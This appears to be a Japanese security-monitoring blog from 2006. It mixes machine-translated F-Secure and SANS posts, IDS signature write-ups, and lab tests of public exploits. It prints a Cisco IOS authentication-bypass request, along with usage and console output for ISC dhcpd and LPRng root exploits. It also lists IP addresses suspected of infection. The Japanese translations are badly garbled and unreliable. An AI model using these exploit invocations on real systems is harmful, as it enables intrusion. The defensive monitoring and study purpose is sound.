Since the outcry on the cartoon images of Muhammed started, there's been a series of attacks against Danish web sites.
マホメットの漫画イメージに関する抗議が始まりましたから、デンマークのウェブサイトに対する一連の攻撃がありました。

Many of these are just typical defacements, but the message is very directly anti-Danish.
これらの多くがただ典型的な defacements です、しかしメッセージは非常に直接反デンマーク語です。

Here's some examples from today and yesterday:
ここに今日からの若干の例と昨日があります:

Defacement on amrisk.dk

Defacement on dosk.dk

Defacement on gpc.dk

Defacement on lui.dk

Zone-h.org has categorized over 500 defacements like this since the conflict started.
対立が始まったときから、ゾーン - h.org がこのような500以上の defacements を分類しました。

(出展:F-Secure)

■データ
Time Tag Name Source IP Target IP Object Name Source Port :URL
2006-02-05 15:33:48 JST HTTP_Cisco_IOS_Admin_Access 221.220.133.212 192.168.221.180 80 2945 /level/16/exec/-///pwd
2006-02-06 21:44:06 JST HTTP_Cisco_IOS_Admin_Access 221.236.234.57 192.168.221.180 80 3533 /level/16/exec/-///pwd
■パケット詳細
No. Time Source Destination Protocol Info
14185 2006-02-06 00:33:04.158429 221.220.133.212 192.168.37.180 HTTP GET /level/16/exec/-///pwd HTTP/1.0
Frame 14185 (104 bytes on wire, 104 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:52:2f:68
Internet Protocol, Src Addr: 221.220.133.212 (221.220.133.212), Dst Addr: 192.168.37.180 (192.168.37.180)
Transmission Control Protocol, Src Port: 2945 (2945), Dst Port: http (80), Seq: 1, Ack: 1, Len: 38
Hypertext Transfer Protocol
0000 00 0c 29 52 2f 68 00 d0 c9 96 61 5d 08 00 45 00 ..)R/h....a]..E.
0010 00 5a bc 84 40 00 23 06 51 0c dd dc 85 d4 c0 a8
.Z..@.#.Q .......
0020 25 b4 0b 81 00 50 30 ed ee e4 6d ec 7f ec 80 18 %....P0...m.....
0030 fa 40 68 fe 00 00 01 01 08 0a 00 02 c0 72 00 00
.@h..........r ..
0040 00 00 47 45 54 20 2f 6c 65 76 65 6c 2f 31 36 2f ..GET /level/16/
0050 65 78 65 63 2f 2d 2f 2f 2f 70 77 64 20 20 48 54 exec/-///pwd HT
0060 54 50 2f 31 2e 30 0a 0a TP/1.0..
■SANS
Last Updated: 2006-02-07 17:55:43 UTC by Dan Goldberg (Version: 1)
最新アップデート:2006-02-07 ダン・ゴールドバーグによっての17:55:43の UTC (バージョン:1)

Patrick Harper reported seeing attempts to access the http server in cisco routers with an old exploit (reported and fix in 2001) using level 16 to bypass authentication like this:
パトリック Harper が cisco ルーターで http サーバーにアクセスする試みが、古い exploit が(報告されていて、そして2001年の苦境である)をという状態で、レベル16をこのような認証を回避するために使っているのを見て報告しました:
GET /level/16/exec/-///pwd HTTP/1.0


He reported seeing this traffic from many sources.
彼は多くのソースからこのトラフィックを見たことを報告しました。

This has been fixed in IOS some time ago. However someone thinks they can get lucky and find some out of date routers.
これはしばらく前に IOS で修理されました。 しかしながら、誰かが(彼・それ)らが幸運に恵まれて、そして時代遅れの若干名がルーターであると思うことができると思います。

Handler Don Smith advises: "Reporting this to the ISPs is a good idea.
調教師ドン・スミスが知らせます:「これを ISP に報告することは良い考えです。
They are often interested in anyone who is trying to break into a router:)"
(彼・それ)らはしばしばルーターに押し入ろうとしている誰にでも興味を持っています:)」

One interesting property of this traffic is that it is not spoofed, a TCP 3-way handshake must be completed with the target before sending HTTP data such as a GET. That is true of all TCP based scans. TCPDUMP shows a P for PUSH so both ends are really talking. In a spoofed scan you never get farther than SYN. The SYN-ACK is sent back to the spoofed source who drops it most likely.
このトラフィックの1つの面白い不動産がそれが偽装されないということです、 GET のような HTTP データを送る前に、 TCP 3方向の握手が目標で完了されなくてはなりません。 それはすべての TCP ベースの走査について本当です。 TCPDUMP はプッシュのためにPを見せます、それで両方の終わりが本当に話をしています。 ちゃかされた走査であなたは決して SYN より遠くなりません。 SYN - ACK は最も見込みが高くそれを落とすペテンにかけられた情報提供者に送り返されます。

AAA.BBB.CCC.DDD.1873 > WWW.XXX.YYY.ZZZ.http: P [tcp sum ok] 99999
13645:1403813683(38) ack 221455884 win 64860 (DF) (ttl 107, id 46390, len 78)


2. The exploit is an old one, so why is it in circulation again?
2. exploit は古い(の・もの・人)です、それでそれはなぜ再び広まっていますか?

Here is the original advisory form Cisco:
ここにオリジナルの顧問の書式シスコがあります:
http://www.cisco.com/warp/public/707/IOS-httplevel-pub.html


Best practices dictate turning off all unused services on a host. So go to your border router and if it does now have
最善の試みがホストの上にすべての使われていないサービスを止めることを必要とします。 それであなたのボーダールーターのところに行ってください、そしてもしそれが今そうするなら、そうした
"no ip http server"
「ip http サーバーはなしです」
in the configuration add it now. This will prevent this or any new http exploit from working on your router.
形状で、今それを加えてください。 これはこれあるいはどんな新しい http 偉業でもあなたのルーター上で機能するのを阻止するでしょう。

Some old tricks keep coming back, and Patrick thanks for sharing.
若干の古いトリックが共有のために今度の奥とパトリック感謝を保持します。
(出展:SANA)

項目

攻撃

リモート

攻撃ポート

69

対象OS

Unix

CVE

CAN-2003-0026

MS

ICS DHCP daemon minires library multiple buffer overflows (DHCP_Minires_Format_Overflow)
このシグネチャまたは脆弱点について
RealSecure Server Sensor、RealSecure Network Sensor:

このシグネチャは、DNS ホスト名フィールドに printf()-style 書式指定子を含む DHCP Rrequest パケットを検出します。 書式指定子が 1 つ以上存在する場合は、DHCP サーバー上でコードの実行を試みたり、DHCP サーバーをクラッシュさせる可能性があります。



デフォルトの危険度
高危険度



このシグネチャが添付されているセンサー
RealSecure Server Sensor: XPU 20.11 以降、RealSecure Network Sensor: XPU 5.9 以降、RealSecure Network Sensor: XPU 20.10 以降



影響を受けるシステム
Mandrake Multi Network Firewall: 8.2、SuSE eMail Server: 3.1、SuSE Linux: 8.1、Mandrake Linux: 9.0、Turbolinux: 8 Server、Turbolinux: 8 Workstation、Red Hat Linux: 8.0、OpenPKG: 1.1、Debian Linux: 3.0、Red Hat Linux: 7.x、SuSE Linux Enterprise Server: すべてのバージョン、Slackware Linux: current、ICS DHCP: 3.0 - 3.0.1RC10、SuSE Linux Office Server: すべてのバージョン、OpenPKG: CURRENT、Gentoo Linux: すべてのバージョン、Mandrake Linux: 8.2、OpenPKG: 1.0、Slackware Linux: 8.1、Conectiva Linux: 8.0、SuSE Linux: 8.0、Mandrake Linux: 8.1、SuSE eMail Server III: すべてのバージョン、SuSE Linux Connectivity Server: すべてのバージョン、SuSE Linux Database Server: すべてのバージョン、SuSE Linux: 7.3、SuSE Linux: 7.2、Mandrake Single Network Firewall: 7.2、SuSE Linux: 7.1、SuSE Linux: 7.0、Mandrake Linux: 7.2



タイプ
不正アクセスの試み



脆弱点の説明
Internet Software Consortium (ISC) Dynamic Host Configuration Protocol (DHCP) デーモン バージョン 3.0 3.0.1RC10 は、minires ライブラリの脆弱点によって引き起こされる複数のスタックベースのバッファ オーバーフローに対して脆弱です。minires ライブラリは、ホスト名を解決するために NSUPDATE 機能で使用されます。 リモートからの攻撃者は、過度に長いホスト名を持つ DHCP メッセージをプログラムに送信することでバッファをオーバーフローさせ、ISC DHCPD ユーザー権限を使ってシステム上で任意のコードを実行する可能性があります。




この脆弱点の解決方法
Internet Software Consortium の Web サイトから、最新バージョンの DHCP (3.0.1RC11 以降) を入手してアップグレードします。



詳細

ISS X-Force

ICS DHCP daemon minires library multiple buffer overflows

http://www.iss.net/security_center/static/11073.php



検証環境

優先度

OS

IP

Intruder:

Windows2000

192.168.221.110

Victim:

Windows2000

192.168.221.180

センサー

ProvenitaM10

XPU1.66




実証コード

[root@linux DHCP]# ./DHCP_Format_String_BO_dhcp-expl 192.168.221.180

ISC dhcpd 3.0.1 < remote root exploit - by eSDee (esdee@netric.org)

-------------------------------------------------------------------

Usage: ./DHCP_Format_String_BO_dhcp-expl [-i ipaddress] [-p port] <-t type> <host>

./DHCP_Format_String_BO_dhcp-expl -i 192.168.0.1 -p 67 -t3 192.168.0.4


-t0 will display a list of all the available targets.

[root@linux DHCP]# ./DHCP_Format_String_BO_dhcp-expl -i 192.168.221.1 -p 67 -t3 192.168.221.180

ISC dhcpd 3.0.1 < remote root exploit - by eSDee (esdee@netric.org)

-------------------------------------------------------------------

+ OS : Mandrake 8.1

+ type : dhcp-3.0.1rc1/rc4

+ retloc: 0x080d57d8

+ ret : 0xbffff24c

+ sending boot request packet to 192.168.221.180 ...

+ Exploit failed!



トレース

イベント一覧

優先度

シグネチャ名

検知件数

High

DHCP_Minires_Format_Overflow

1

Low

TCP_Probe_Other

1

イベント詳細

DHCP_Minires_Format_Overflow.jpg


参照事項

CERT Advisory CA-2003-01

Buffer Overflows in ISC DHCPD Minires Library

http://www.cert.org/advisories/CA-2003-01.html


CERT Vulnerability Note VU#284857

ISC DHCPD minires library contains multiple buffer overflows

http://www.kb.cert.org/vuls/id/284857


CVE

CAN-2003-0026

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0026


記載されていない情報をご存知の方、ぜひamaterasu@job.email.ne.jp 、コメントまたは、トラックバックして頂けると助かります。皆様のご協力をお願いいたします。


----------------------------

■あまてらす

----------------------------

おはようございます。あまてらすです。

今日はなんと雪です。すこし積っています。

昨日は、早期警戒と演習についていろいろお話を聞くことができました。

自分でも少しこの用語について調べてみよう♪


----------------------------

■セキュリティニュース

----------------------------

特集「生体認証大ブレーク」(2)

教訓はなぜ生かされなかったのか

WMF脆弱性を狙う攻撃コードは闇取引の「商品」だった――Kaspersky Lab

OJTを受けられないITエンジニアは、どうすればいい?

ワコール、顧客データ管理強化へ情報セキュリティ推進部

静岡銀行、セキュリティを強化した「しずぎんICカード」を3月から取り扱い開始

政府、「第1次情報セキュリティ基本計画」を正式決定

IPA、1月のウイルス・不正アクセスの届出状況を発表

トレンドマイクロ、2006年1月のウィルスランキングを発表 -今月もスパイウェアがトップ

「WMFの脆弱性」へのゼロデイ攻撃が多発~トレンドマイクロ1月度調査

IPA、1月のウイルス&不正アクセス届出状況、「警告無視」の怖さを指摘




----------------------------

■実証コード

----------------------------

2006-02-06 : Microsoft HTML Help Workshop ".hhp" File Handling Buffer Overflow Exploit

http://www.frsirt.com/exploits/20060206.htmlws.cpp.php

----------------------------

■不正なアクセス(日本を送信元とした攻撃)

----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。


58.88.177.65 p1065-ipbf13kamokounan.kagoshima.ocn.ne.jp
58.88.229.15 p3015-ipad202gifu.gifu.ocn.ne.jp
58.90.182.252 p3252-ipad406osakakita.osaka.ocn.ne.jp
60.46.170.157 i60-46-170-157.s05.a010.ap.plala.or.jp
61.44.6.65 65.6.44.61.ap.yournet.ne.jp
219.96.154.187 p3187-air01kdtoyoshi.nagano.ocn.ne.jp
219.162.60.100 p5100-air01kdtoyoshi.nagano.ocn.ne.jp
220.102.203.249 FLH1Aau249.fko.mesh.ad.jp
221.113.1.234 p001234.ppp.asahi-net.or.jp
221.113.5.237 p005237.ppp.asahi-net.or.jp
221.113.7.136 p007136.ppp.asahi-net.or.jp
221.113.16.181 p016181.ppp.asahi-net.or.jp
221.113.17.208 p017208.ppp.asahi-net.or.jp
221.113.19.168 p019168.ppp.asahi-net.or.jp
221.113.27.5 p027005.ppp.asahi-net.or.jp
221.113.27.108 p027108.ppp.asahi-net.or.jp
221.113.27.137 p027137.ppp.asahi-net.or.jp
221.113.28.242 p028242.ppp.asahi-net.or.jp
221.113.35.163 p035163.ppp.asahi-net.or.jp
221.113.45.26 p045026.ppp.asahi-net.or.jp
221.113.55.227 p055227.ppp.asahi-net.or.jp
221.113.62.113 p062113.ppp.asahi-net.or.jp
221.113.71.210 210.71.113.221.ap.yournet.ne.jp
221.113.93.134 134.93.113.221.ap.yournet.ne.jp
221.113.104.91 91.104.113.221.ap.yournet.ne.jp
221.113.105.33 33.105.113.221.ap.yournet.ne.jp
221.113.109.221 221.109.113.221.ap.yournet.ne.jp
221.113.115.242 242.115.113.221.ap.yournet.ne.jp
221.113.163.49 p2049-ipbf14aobadori.miyagi.ocn.ne.jp
221.113.165.73 p4073-ipbf14aobadori.miyagi.ocn.ne.jp
221.113.166.6 p8006-ip01aobadori.miyagi.ocn.ne.jp
221.113.199.132 p1132-freed01hon-sw1gw1.tokyo.ocn.ne.jp
221.113.199.168 p1168-freed01hon-sw1gw1.tokyo.ocn.ne.jp
221.113.201.201 p1201-freed01hon-sw1gw2.tokyo.ocn.ne.jp
221.113.202.243 p2243-freed01hon-sw1gw2.tokyo.ocn.ne.jp
221.113.203.27 p1027-freed01hon-sw1gw3.tokyo.ocn.ne.jp
221.113.204.27 p2027-freed01hon-sw1gw3.tokyo.ocn.ne.jp
221.113.204.95 p2095-freed01hon-sw1gw3.tokyo.ocn.ne.jp
221.113.204.135 p2135-freed01hon-sw1gw3.tokyo.ocn.ne.jp
221.113.205.105 p1105-freed01hon-sw1gw4.tokyo.ocn.ne.jp
221.113.209.78 p6078-air01hon128k.tokyo.ocn.ne.jp
221.113.209.131 p6131-air01hon128k.tokyo.ocn.ne.jp
221.113.212.162 p9162-air01hon128k.tokyo.ocn.ne.jp
221.113.213.102 p3102-air01honfc.tokyo.ocn.ne.jp
221.113.229.87 p1087-ipad12gifu.gifu.ocn.ne.jp
221.113.231.180 p3180-ipad12gifu.gifu.ocn.ne.jp
221.113.231.238 p3238-ipad12gifu.gifu.ocn.ne.jp
221.113.234.214 p5214-ipad13gifu.gifu.ocn.ne.jp
221.113.239.186 p5186-ipad55osakakita.osaka.ocn.ne.jp
221.113.240.90 p6090-ipad55osakakita.osaka.ocn.ne.jp
221.113.240.140 p6140-ipad55osakakita.osaka.ocn.ne.jp
221.113.243.26 p3026-ipad56osakakita.osaka.ocn.ne.jp
221.113.246.35 p6035-ipad56osakakita.osaka.ocn.ne.jp
221.113.247.95 p1095-ipbf04kamokounan.kagoshima.ocn.ne.jp
221.171.117.171 FLH1Abi171.kng.mesh.ad.jp
221.171.178.190 FLH1Abg190.stm.mesh.ad.jp
221.185.221.234 p2234-ipad05aobadori.miyagi.ocn.ne.jp
221.189.76.79 p8079-ipad28akatuka.ibaraki.ocn.ne.jp
222.144.209.5 p2005-ipbf09kamokounan.kagoshima.ocn.ne.jp

Analysis and Inferences
分析と推論
Posted by Mikko @ 19:18 GMT
Mikko @ 19:18 GMT によってポストされました

CAIDA , the Cooperative Association for Internet Data Analysis has worked over the Nyxem counter stats. As a result, they have come up with an impressive analysis on just how widespread Nyxem was and where was it most prevalent.
CAIDA 、協力的な協会はインターネットデータ分析のために Nyxem カウンター統計値に関して働きました。 結果として、 Nyxem が正確にどれほど広範囲にわたったか、そしてそれがどこ(で・に)最も流行していたかについて、(彼・それ)らは立派な分析を思いつきました。

The results have just been published at http://www.caida.org/analysis/security/blackworm/
結果はちょうど http://www.caida.org/analysis/security/blackworm/ において発表されたところです

Copyright Caida source www.caida.org/analysis/security/blackworm/graphs/continent_probe_total_ts_hour_small.png

Quote: "We estimate that between 469,507 and 946,835 computers in more than 200 countries were infected by the Nyxem".
クォート:「我々は469,507と946,835の間のコンピュータが200以上の国で Nyxem によって感染させられたと推定します」。

All the hard work on this publication has been done by Colleen Shannon and David Moore. Good job!
この出版物のすべての努力はコリーン・シャノンとデイビッド・ムーアによってされました。 お見事!

PS. We were talking with the folks at Quickheal (one the major antivirus companies in India) about Nyxem damage that they might have seen. Sanjay Katkar wrote to us:
/秒。 我々は(彼・それ)らが見たかもしれない Nyxem 損害について Quickheal (1(人・つ)、インドの主要な反ウイルス会社、)で人々と話をしていました。 Sanjay Katkar が我々に書きました:

Now I am receiving reports form various branch office across India and it seems that
私がレシーブしている今、報告がインドじゅうに種々のブランチオフィスを構成します、そしてそれはそれに思われます
around 230 to 250 users had real damage done to their systems. The number of computer
およそ230から250のユーザーが本物の損害が(彼・それ)らのシステムに与えられるようにしました。 コンピュータの番号
counts can go up to 500 as most of the users were home users and offices having 3
ユーザーの大部分が3を持つ家庭ユーザーとオフィスであった(とき・から・につれて・ように)、カウントが500まで行くことができます
to 5 computers. I believe the actual number of systems damaged will be more
5つのコンピュータに。 私はダメージを与えられたシステムの実際の数がもっと多いであろうと信じます
as its difficult to reach out to people who have faced it.

ようにそそれに直面した人々に伸ばすことが難しい.

(出展:F-Secure)

項目

攻撃

リモート

攻撃ポート

515

対象OS

Unix

CVE

CAN-2000-0917

MS



LPRng syslog() call allows user supplied format strings (LPRng_Format_String)
このシグネチャまたは脆弱点について
RealSecure Network Sensor: このシグネチャは、書式指定子が含まれた LPR コマンドを (TCP ポート 515で) 検出します。このコマンドは、攻撃者がホストで任意のコードを実行しようとした試みを示す可能性があります。 検出される実際のコマンドは、Raw Command information フィールドにレポートされます。

デフォルトの危険度
高危険度

このシグネチャが添付されているセンサー
RealSecure Network Sensor: XPU 2.2 以降

影響を受けるシステム
TurboLinux、FreeBSD、Red Hat Linux: 7.0、Caldera OpenLinux: 2.4、Caldera OpenLinux: 2.3

タイプ
不正アクセスの試み

脆弱点の説明
一部の Linux ディストリビューションに含まれる LPRng プリンタ デーモンは、書式文字列攻撃に対して脆弱です。 ユーザーが入力した内容は、書式文字列引数を含まない LPRng の syslog() 呼び出しに渡されます。 攻撃者はこの脆弱点を悪用して、セグメント化を失敗させ、任意のコードを実行し、場合によっては root 権限を得ることが可能です。

この脆弱点の解決方法
Caldera OpenLinux の場合: Caldera Systems, Inc. Security Advisory CSSA-2000-033.0 を参照して、最新バージョンの LPRng(3.5.3-3 以降) にアップグレードします。 Red Hat Linux の場合: Red Hat, Inc. Security Advisory RHSA-2000:065-04 を参照して、最新バージョンの LPRng(3.6.24-2 以降) にアップグレードします。 FreeBSD の場合: FreeBSD, Inc. Security Advisory FreeBSD-SA-00:56 を参照して、最新バージョンの LPRng(3.6.25 以降) にアップグレードします。 TurboLinux の場合: TurboLinux Security Announcement TLSA2001001-1 を参照して、最新バージョンの LPRng(3.6.26-1 以降) にアップグレードします。 それ以外のディストリビューションの場合: アップグレード情報またはパッチ情報については、製造元にお問い合わせください。



詳細

ISS X-Force

LPRng syslog() call allows user supplied format strings

http://www.iss.net/security_center/static/5287.php


CVE
CAN-2000-0917
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0917


検証環境

優先度

OS

IP

Intruder:

Windows2000

192.168.221.11

Victim:

Windows2000

192.168.221.180

センサー

ProvenitaM10

XPU1.66




実証コード

[root@linux BufferOverflow]# ./LPRng_Format_String_SEClpd

SEClpd by DiGiT of ADM/security.is !


Usage: ./LPRng_Format_String_SEClpd victim ["brute"] -t type [-o offset] [-a align] [-p position] [-r eip_addr] [-c shell_addr]

[-w written_bytes]


ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes

ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes

Types:


[ Type 0: [ RedHat 7.0 - Guinesss ]

[ Type 1: [ RedHat 7.0 - Guinesss-dev ]

[root@linux BufferOverflow]#



トレース

LPRng_Format_String.jpg


So, Nyxem.E had infected hundreds of thousands of computers over the last two weeks. It activated on Friday, overwriting data. But almost nobody reported any problems. So what happened?
それで、 Nyxem.E は(すでに)最後の2週間もにわたっての何十万コンピュータを感染させていました。 それは、データに上書きして、金曜日に作動しました。 けれどもほとんど誰も問題を報告しませんでした。 それで何が起きましたか?

data.xlsWell, probably several things, including:
まあ、おそらくいくつかのこと、含むこと:

- The amount of machines that were really infected still on Friday was much smaller than the total amount of machines that got infected (and cleaned) during the whole outbreak. This number is probably in the tens of thousands. Which is not a lot of computers out of, say, one billion computers in the world.
- まだ金曜日に本当に感染させられたマシンの量は発生全体の間に感染した(そしてきれいにした)マシンの総量よりずっと小さかったです。 この数はおそらく何万もにあります。 それは世界中で、例えば10億のコンピュータから多くのコンピュータではありません。

- Many of the infected machines were not rebooted on Friday. They were simply running all the time. The worm only does damage when you start the machine on the 3rd.
- 感染しているマシンの多くが金曜日にリブートされませんでした。 (彼・それ)らはいつもただ走っていました。 あなたが3番にマシンを始動させるとき、虫はただ損害をするだけです。

- Many infected home machines were shut down all of Friday, and nothing happened. People went to movies, bars, parties on Friday night instead of surfing.
- 多くの感染しているホームマシンが、金曜日のすべての下方に、閉じられました、そして何も起きませんでした。 サーフィンをする代わりに、人々がムービー、バー、金曜日の夜にパーティーに行きました。

- The media coverage on the whole incident prompted many people to check their system and clean them up in time.
- 事件全体に関するマスコミ報道は多くの人々に(彼・それ)らのシステムをチェックして、そして間に合って(彼・それ)らをきれいにするよう促しました。

So, does this mean there weren't any problems reported, anywhere? Well, no. We had some isolated support calls to our country offices from home users who were hit. And a partner company of ours in USA was contacted with a company that had one of their Windows servers hit.
それで、これは、どこ(で・に)も、報告された問題がなかったことを意味しますか? まあ、いいえ。 我々はぶたれた家庭ユーザーからの若干の我々の田舎のオフィスへの孤立したサポートコールを持ちました。 そしてUSAの我々のもののパートナーの会社が(彼・それ)らの Windows サーバーヒットの1(人・つ)を持っていた会社と共に連絡を取られました。

And there were some unconfirmed online reports of problems. You can find examples if you dig online forums and usenet groups. See some examples below:
そして問題の若干の確かめられていないオンラインの報告がありました。 もしあなたがオンラインのフォーラムと usenet グループを堀り出すなら、あなたは例を見いだすことができます。 下に若干の事例を見てください:

Newsgroups: microsoft.public.excel.misc
ニューズグループ: microsoft.public.excel.misc
From: "=?Utf-8?B?bXVydWdhbl9oc0B5YWhvby5jb20=?="
From: ‘ = 年?Utf - 8?B ? bXVydWdhbl9oc0B5YWhvby5jb20 = ? =」
Subject: data error while opening files
主題:ファイルを開いている間にデータエラー
Date: Wed, 18 Jan 2006 22:18:02 -0800

日時:2006年1月18日水曜日22時18分02秒 - 0800


when i open excel or word existing file i getting contents as "DATAError
私が始めるとき「DATAError するように卓越しているか、あるいは既存のファイルiを手に入れる内容を言葉を選んで表現してください
[47 0F 94 93 F4 K5]" instead of my saved data.
[47の 0F 9493 F4 K5 ]」私のセーブされたデータの代わりに.


pls help me solving. My all word & excel files are have same problem.
pls が解決して私を助けます。 私ファイルがそうである & が卓越しているというすべての知らせが同じ問題を持っている.




Newsgroups: microsoft.public.excel.misc
ニューズグループ: microsoft.public.excel.misc
From: "saran"
差出人:「saran」
Subject: Re: data error while opening files
主題:ファイルを開いている間に Re: データエラー
Date: 2 Feb 2006 23:18:19 -0800

日時:2006年2月2日23時18分19秒 - 0800


i am also having the same problem i thing the virus webmal can corrupt
私は同じくウイルス webmal が堕落させることができる同じ問題iものを持っています
the dat if u got the solution pls send it to me
dat はもしあなたが解決 pls を受けとったなら私にそれを送ってくれます




Newsgroups: Yummypinays
ニューズグループ: Yummypinays
From: Elpidio Garcia
差出人: Elpidio ガルシア
Date: Fri, 3 Feb 2006 05:03:39 +0000 (GMT)
日時:2006年2月3日金曜日05時03分39秒+0000(GMT)
Subject: [YP] HHHHHHHHHHHHelp!!!!!!! anyone...

主題:[ YP ] HHHHHHHHHHHHelp !!!!!!! 誰も・・・.


...i found out that all my files particularly office docs were corrupted
...私のすべてのファイル特にオフィスのドキュメンテーションがそうであった見つけだされたiがだめになるという状態で
and only shows this message everytime i open my files,
そしてただ、私が私のファイルを開く時いつも、このメッセージを示すだけです、
DATA Error [47 0F 94 93 F4 K5]
データエラー[47の 0F 9493 F4 K5 ]




Newsgroups: microsoft.public.fr.excel
ニューズグループ: microsoft.public.fr.excel
From: aougarferhat
差出人: aougarferhat
Subject: c'est quoi data error 47 0F 94 93 F4 K5?
主題:c 'est quoi データエラー47の 0F 9493 F4 K5 ?
Date: Sat, 4 Feb 2006 14:41:45 -0800

日時:2006年2月4日土曜日14時41分45秒 - 0800
...
・・・。

(出展:F-Secure)



記載されていない情報をご存知の方、ぜひamaterasu@job.email.ne.jp 、コメントまたは、トラックバックして頂けると助かります。皆様のご協力をお願いいたします。


----------------------------

■あまてらす

----------------------------

おはようございます。あまてらすです。

今日も寒い一日のようですね。風をひかないように注意しないと・・・



----------------------------

■セキュリティニュース

----------------------------

IPA、1月のウイルス&不正アクセス届出状況、「警告無視」の怖さを指摘
特集「生体認証大ブレーク」(1)

pingコマンド -- No.1 トラブル対策の基本,パケットを送って応答を待つ

NASA監察官、内部告発もみ消し疑惑 米紙Wポスト報道

ウイルス検出数は減少するも、「ワンクリック詐欺」相談は引き続き増加――IPA



----------------------------

■実証コード

----------------------------



----------------------------

■不正なアクセス(日本を送信元とした攻撃)

----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。


60.236.135.46 FLH1Aaz046.kyt.mesh.ad.jp
61.118.177.216 p2216-freed01hon-sw2gw6.tokyo.ocn.ne.jp
61.118.180.162 p1162-freed01hon-sw2gw7.tokyo.ocn.ne.jp
218.41.87.137 p295789.kmmtnt01.ap.so-net.ne.jp
219.162.86.133 p6133-ipad201kobeminato.hyogo.ocn.ne.jp
221.113.1.234 p001234.ppp.asahi-net.or.jp
221.113.4.39 p004039.ppp.asahi-net.or.jp
221.113.5.1 p005001.ppp.asahi-net.or.jp
221.113.16.175 p016175.ppp.asahi-net.or.jp
221.113.24.52 p024052.ppp.asahi-net.or.jp
221.113.27.108 p027108.ppp.asahi-net.or.jp
221.113.30.170 p030170.ppp.asahi-net.or.jp
221.113.41.191 p041191.ppp.asahi-net.or.jp
221.113.53.55 p053055.ppp.asahi-net.or.jp
221.113.55.148 p055148.ppp.asahi-net.or.jp
221.113.60.163 p060163.ppp.asahi-net.or.jp
221.113.62.235 p062235.ppp.asahi-net.or.jp
221.113.63.133 p063133.ppp.asahi-net.or.jp
221.113.66.127 127.66.113.221.ap.yournet.ne.jp
221.113.72.120 120.72.113.221.ap.yournet.ne.jp
221.113.96.35 35.96.113.221.ap.yournet.ne.jp
221.113.96.174 174.96.113.221.ap.yournet.ne.jp
221.113.99.229 229.99.113.221.ap.yournet.ne.jp
221.113.105.220 220.105.113.221.ap.yournet.ne.jp
221.113.109.153 153.109.113.221.ap.yournet.ne.jp
221.113.109.225 225.109.113.221.ap.yournet.ne.jp
221.113.112.87 87.112.113.221.ap.yournet.ne.jp
221.113.162.209 p1209-ipbf14aobadori.miyagi.ocn.ne.jp
221.113.163.39 p2039-ipbf14aobadori.miyagi.ocn.ne.jp
221.113.164.21 p3021-ipbf14aobadori.miyagi.ocn.ne.jp
221.113.164.180 p3180-ipbf14aobadori.miyagi.ocn.ne.jp
221.113.164.191 p3191-ipbf14aobadori.miyagi.ocn.ne.jp
221.113.165.93 p4093-ipbf14aobadori.miyagi.ocn.ne.jp
221.113.199.128 p1128-freed01hon-sw1gw1.tokyo.ocn.ne.jp
221.113.199.219 p1219-freed01hon-sw1gw1.tokyo.ocn.ne.jp
221.113.199.233 p1233-freed01hon-sw1gw1.tokyo.ocn.ne.jp
221.113.199.234 p1234-freed01hon-sw1gw1.tokyo.ocn.ne.jp
221.113.200.233 p2233-freed01hon-sw1gw1.tokyo.ocn.ne.jp
221.113.202.150 p2150-freed01hon-sw1gw2.tokyo.ocn.ne.jp
221.113.202.245 p2245-freed01hon-sw1gw2.tokyo.ocn.ne.jp
221.113.203.251 p1251-freed01hon-sw1gw3.tokyo.ocn.ne.jp
221.113.205.76 p1076-freed01hon-sw1gw4.tokyo.ocn.ne.jp
221.113.205.246 p1246-freed01hon-sw1gw4.tokyo.ocn.ne.jp
221.113.206.111 p2111-freed01hon-sw1gw4.tokyo.ocn.ne.jp
221.113.209.43 p6043-air01hon128k.tokyo.ocn.ne.jp
221.113.210.111 p7111-air01hon128k.tokyo.ocn.ne.jp
221.113.223.16 p26016-adsau07doujib3-acca.osaka.ocn.ne.jp
221.113.230.17 p2017-ipad12gifu.gifu.ocn.ne.jp
221.113.232.106 p4106-ipad12gifu.gifu.ocn.ne.jp
221.113.236.80 p2080-ipad55osakakita.osaka.ocn.ne.jp
221.113.238.136 p4136-ipad55osakakita.osaka.ocn.ne.jp
221.113.240.132 p6132-ipad55osakakita.osaka.ocn.ne.jp
221.113.240.189 p6189-ipad55osakakita.osaka.ocn.ne.jp
221.113.242.21 p2021-ipad56osakakita.osaka.ocn.ne.jp
221.185.190.32 p3032-ipad04okidate.aomori.ocn.ne.jp
221.189.8.142 p4142-ipad201sapodori.hokkaido.ocn.ne.jp
222.145.143.212 p2212-ipbf603marunouchi.tokyo.ocn.ne.jp

項目

攻撃

リモート

攻撃ポート

515

対象OS

Windows

CVE

CVE-2000-0232

MS

MS00-021


Windows TCP/IP Printing Service denial of service (Windows_Printing_Service_DOS)
このシグネチャまたは脆弱点について
RealSecure Server Sensor、RealSecure Network Sensor:

このシグネチャは、一連の不正な要求を印刷サービス ポートに送信することで、パッチが適用されていない NT 4.0 および 2000 システム上の Microsoft Windows TCP/IP サービス (SimpTCP、DHCPServer、FTPSvc、LPDSvc、および BinlSvc を含む) の一部を無効にしようとする試みを検出します。


デフォルトの危険度
中危険度



このシグネチャが添付されているセンサー
RealSecure Server Sensor: XPU 20.15 以降、RealSecure Network Sensor: XPU 20.14 以降




影響を受けるシステム
Windows NT: 4.0 TSE、Windows NT: 4.0、Windows 2000: すべてのバージョン、Windows NT: すべてのバージョン



タイプ
サービス不能




脆弱点の説明
Windows 2000 では、Unix の印刷サービスがサービス不能攻撃に対して脆弱です。 このサービスは、Windows 2000 および Unix オペレーティング システム間での印刷の統合に使用されます。 リモートからの攻撃者は、不正な印刷要求をポート 515 に送信することで、印刷サービスを他の関連サービスと同様に失敗させる可能性があります。 通常の動作を回復するには、このサービスを再起動する必要があります。



この脆弱点の解決方法
Microsoft Security Bulletin MS00-021 を参照して、システムに適したパッチを入手します。


Windows 2000: すべてのバージョン
Microsoft Security Bulletin MS01-021 を参照して、「Malformed TCP/IP Print Request」パッチを適用します。
Windows NT: すべてのバージョン
